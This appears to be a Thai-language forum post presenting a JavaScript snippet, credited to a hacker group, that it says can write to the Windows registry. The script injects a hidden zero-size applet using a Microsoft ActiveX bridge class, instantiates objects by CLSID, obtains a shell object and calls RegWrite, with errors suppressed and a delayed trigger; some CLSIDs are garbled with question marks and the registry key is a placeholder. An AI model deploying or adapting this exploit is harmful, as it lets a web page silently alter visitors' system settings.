พูดถึงช่องโหว่ของ script ต่างๆนั้นทุกวันนี้ก็มีให้เห็นกันมากมายแต่ ส่วนใหญ่ก็ access เข้าใช้ resource ได้เพียงบางส่วนเท่านั้น แต่ javascript นี้สามารถเข้าไปเขียนถึง registry ได้เลย
[src]<script>
// XMSX.TK - The Hacker Powered ~
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET >");
function yuzi3(){
try{
a1=document.applets[0 ];
a1.setCLSID("{F935DC22-?F0-11D0-ADB9-00C04FD5?0B }"); a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-1?F-8940-00A0C9054228 }");
try{
Shl.RegWrite("percorsochiave", "value");
}
catch(e){ }
}
catch(e){ }
}
setTimeout("yuzi3()", 1000);
</script>[/src]
Reply With Quote
